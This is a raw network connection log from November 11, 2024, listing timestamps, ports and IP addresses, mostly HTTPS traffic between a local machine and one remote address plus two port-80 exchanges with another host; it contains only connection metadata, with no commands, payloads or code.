Nov 11, 2024 12:40:16.824846029 CET	443	49761	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.825131893 CET	49761	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.825139999 CET	443	49761	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.825642109 CET	49761	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.825644970 CET	443	49761	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.872951984 CET	443	49759	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.873383045 CET	49759	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.873437881 CET	443	49759	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.873816013 CET	49759	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.873821020 CET	443	49759	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.913147926 CET	443	49762	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.913192034 CET	443	49762	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.913265944 CET	49762	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.915014029 CET	443	49760	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.915251017 CET	443	49760	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.915330887 CET	49760	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.915606976 CET	49762	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.915627003 CET	443	49762	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.915786028 CET	443	49761	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.915859938 CET	443	49761	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.915914059 CET	49761	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.915924072 CET	443	49763	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.915985107 CET	443	49763	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.916193962 CET	49763	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.925748110 CET	49761	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.925767899 CET	443	49761	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.925952911 CET	49763	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.925957918 CET	443	49763	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.925980091 CET	49763	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.925985098 CET	443	49763	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.926778078 CET	49760	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.926795006 CET	443	49760	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.929517984 CET	49765	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.929554939 CET	443	49765	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.929646015 CET	49765	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.930005074 CET	49766	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.930030107 CET	443	49766	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.930078983 CET	49766	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.930959940 CET	49767	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.930969000 CET	443	49767	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.931072950 CET	49767	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.931360960 CET	49765	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.931372881 CET	443	49765	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.931539059 CET	49766	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.931548119 CET	443	49766	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.931631088 CET	49767	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.931638956 CET	443	49767	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.931704044 CET	49768	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.931723118 CET	443	49768	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.931775093 CET	49768	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.931849957 CET	49768	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.931857109 CET	443	49768	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.965529919 CET	443	49759	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.966007948 CET	443	49759	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.966075897 CET	49759	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.966105938 CET	49759	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.966119051 CET	443	49759	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.966130972 CET	49759	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.966135979 CET	443	49759	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.968497038 CET	49769	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.968523026 CET	443	49769	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.968605042 CET	49769	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.968749046 CET	49769	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.968763113 CET	443	49769	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.446441889 CET	443	49765	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.446485996 CET	443	49768	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.447067022 CET	49765	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.447081089 CET	443	49765	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.447395086 CET	49768	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.447408915 CET	443	49768	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.447568893 CET	49765	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.447573900 CET	443	49765	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.447928905 CET	49768	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.447933912 CET	443	49768	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.449018955 CET	443	49766	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.449352026 CET	49766	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.449368954 CET	443	49766	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.449774027 CET	49766	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.449779987 CET	443	49766	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.455375910 CET	443	49767	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.455758095 CET	49767	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.455765963 CET	443	49767	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.456161976 CET	49767	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.456166983 CET	443	49767	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.492007971 CET	80	49755	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:17.492089033 CET	49755	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:17.493102074 CET	443	49769	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.493618011 CET	49769	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.493628979 CET	443	49769	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.494092941 CET	49769	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.494097948 CET	443	49769	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.541553974 CET	443	49765	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.541563034 CET	443	49768	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.541605949 CET	443	49765	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.541718960 CET	443	49768	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.541794062 CET	49765	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.541920900 CET	49768	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.542356014 CET	49765	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.542366982 CET	443	49765	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.544095993 CET	49768	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.544095993 CET	49768	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.544115067 CET	443	49768	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.544126034 CET	443	49768	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.544533968 CET	443	49766	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.544595957 CET	443	49766	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.544889927 CET	49766	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.546835899 CET	49766	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.546849966 CET	443	49766	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.546864986 CET	49766	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.546869993 CET	443	49766	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.548937082 CET	443	49767	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.548998117 CET	443	49767	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.549552917 CET	49767	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.552639008 CET	49770	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.552665949 CET	443	49770	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.552736998 CET	49770	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.553993940 CET	49767	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.554001093 CET	443	49767	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.554033995 CET	49767	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.554039001 CET	443	49767	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.559346914 CET	49772	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.559376001 CET	443	49772	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.559431076 CET	49772	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.559474945 CET	49771	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.559499979 CET	443	49771	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.559549093 CET	49771	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.559637070 CET	49770	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.559650898 CET	443	49770	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.559843063 CET	49771	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.559861898 CET	443	49771	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.560034990 CET	49772	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.560064077 CET	443	49772	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.560470104 CET	49773	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.560497999 CET	443	49773	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.560575962 CET	49773	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.560663939 CET	49773	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.560679913 CET	443	49773	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.587822914 CET	443	49769	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.588079929 CET	443	49769	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.588454962 CET	49769	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.588644028 CET	49769	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.588654041 CET	443	49769	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.588685989 CET	49769	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.588690996 CET	443	49769	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.591026068 CET	49774	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.591063976 CET	443	49774	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:17.591157913 CET	49774	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.591327906 CET	49774	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:17.591341019 CET	443	49774	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.073803902 CET	443	49771	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.076318979 CET	443	49770	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.076354980 CET	49771	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.076370001 CET	443	49771	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.077128887 CET	443	49772	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.077156067 CET	49771	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.077161074 CET	443	49771	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.077478886 CET	443	49773	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.077491045 CET	49770	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.077517986 CET	443	49770	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.078032017 CET	49770	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.078038931 CET	443	49770	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.096613884 CET	49772	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.096628904 CET	443	49772	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.097076893 CET	49772	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.097095966 CET	443	49772	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.104377031 CET	443	49774	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.117151976 CET	49774	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.117151976 CET	49774	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.117166996 CET	443	49774	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.117181063 CET	443	49774	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.122740984 CET	49773	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.122757912 CET	443	49773	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.126987934 CET	49773	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.126996994 CET	443	49773	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.166398048 CET	443	49771	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.167242050 CET	443	49771	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.167329073 CET	49771	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.167613983 CET	49771	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.167623043 CET	443	49771	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.167648077 CET	49771	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.167653084 CET	443	49771	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.169203043 CET	443	49770	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.169694901 CET	443	49770	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.169804096 CET	49770	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.171166897 CET	49775	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.171190977 CET	443	49775	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.171196938 CET	49770	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.171215057 CET	443	49770	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.171284914 CET	49775	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.177186012 CET	49775	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.177222967 CET	443	49775	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.178639889 CET	49776	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.178654909 CET	443	49776	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.178735018 CET	49776	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.179174900 CET	49776	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.179186106 CET	443	49776	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.185700893 CET	443	49772	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.185822964 CET	443	49772	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.185910940 CET	49772	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.186233997 CET	49772	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.186250925 CET	443	49772	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.186319113 CET	49772	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.186323881 CET	443	49772	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.188626051 CET	49777	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.188657045 CET	443	49777	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.188782930 CET	49777	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.189383984 CET	49777	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.189394951 CET	443	49777	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.208930969 CET	443	49774	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.209192991 CET	443	49774	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.209281921 CET	49774	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.214534044 CET	49774	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.214554071 CET	443	49774	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.224767923 CET	49778	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.224780083 CET	443	49778	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.224994898 CET	49778	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.225343943 CET	49778	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.225354910 CET	443	49778	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.228634119 CET	443	49773	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.229037046 CET	443	49773	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.229237080 CET	49773	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.234786034 CET	49773	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.234793901 CET	443	49773	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.234822035 CET	49773	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.234826088 CET	443	49773	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.246110916 CET	49779	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.246143103 CET	443	49779	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.246368885 CET	49779	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.246988058 CET	49779	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.247004986 CET	443	49779	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.690423965 CET	443	49775	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.696099043 CET	443	49776	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.701932907 CET	443	49777	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.738425970 CET	443	49778	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.741338968 CET	49775	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.742975950 CET	49776	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.756998062 CET	49777	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.765463114 CET	443	49779	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.795993090 CET	49778	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.812360048 CET	49779	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.812371016 CET	443	49779	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.812818050 CET	49779	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.812822104 CET	443	49779	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.813066006 CET	49778	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.813075066 CET	443	49778	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.813776970 CET	49778	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.813781023 CET	443	49778	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.814273119 CET	49775	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.814280987 CET	443	49775	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.816498995 CET	49775	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.816503048 CET	443	49775	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.837989092 CET	49776	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.837994099 CET	443	49776	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.838984013 CET	49776	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.838988066 CET	443	49776	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.839651108 CET	49777	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.839654922 CET	443	49777	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.840401888 CET	49777	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.840406895 CET	443	49777	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.902179956 CET	443	49778	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.902297020 CET	443	49779	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.902384996 CET	443	49779	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.902451038 CET	49779	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.902477026 CET	443	49778	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.902518988 CET	49778	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.904711962 CET	443	49775	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.904808044 CET	443	49775	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.904912949 CET	49775	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.909380913 CET	49778	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.909392118 CET	443	49778	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.909404039 CET	49778	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.909410000 CET	443	49778	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.911606073 CET	49779	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.911606073 CET	49779	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.911628008 CET	443	49779	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.911638021 CET	443	49779	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.912739992 CET	49780	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.912765026 CET	443	49780	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.912822962 CET	49780	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.914722919 CET	49775	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.914731026 CET	443	49775	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.914747953 CET	49775	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.914752007 CET	443	49775	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.918874025 CET	49780	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.918881893 CET	443	49780	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.931071997 CET	443	49777	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.931158066 CET	443	49777	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.931212902 CET	49777	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.931330919 CET	49777	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.931330919 CET	49777	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:18.931338072 CET	443	49777	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:18.931344986 CET	443	49777	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.012480974 CET	49781	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.012515068 CET	443	49781	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.012573004 CET	49781	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.014457941 CET	49782	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.014477015 CET	443	49782	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.014544964 CET	49782	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.022497892 CET	49783	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.022527933 CET	443	49783	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.022587061 CET	49783	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.023343086 CET	443	49776	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.023386002 CET	443	49776	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.023442030 CET	49776	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.042207956 CET	49781	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.042224884 CET	443	49781	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.042346001 CET	49776	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.042356968 CET	443	49776	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.042366028 CET	49776	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.042370081 CET	443	49776	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.042754889 CET	49782	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.042766094 CET	443	49782	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.045301914 CET	49783	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.045319080 CET	443	49783	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.068043947 CET	49784	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.068067074 CET	443	49784	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:19.068150997 CET	49784	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.068316936 CET	49784	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:19.068330050 CET	443	49784	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.522641897 CET	443	49782	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.522984028 CET	443	49780	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.530245066 CET	443	49781	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.533406019 CET	443	49783	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.533632040 CET	443	49784	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.576452017 CET	49782	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.576977968 CET	49780	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.577316046 CET	49781	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.577337980 CET	49783	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.577337980 CET	49784	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.670758009 CET	49784	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.670763969 CET	443	49784	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.671631098 CET	49784	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.671634912 CET	443	49784	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.672177076 CET	49780	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.672184944 CET	443	49780	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.672796965 CET	49780	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.672801971 CET	443	49780	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.673350096 CET	49783	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:20.673361063 CET	443	49783	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:20.674201965 CET	49783	443	192.168.2.6	13.107.246.45
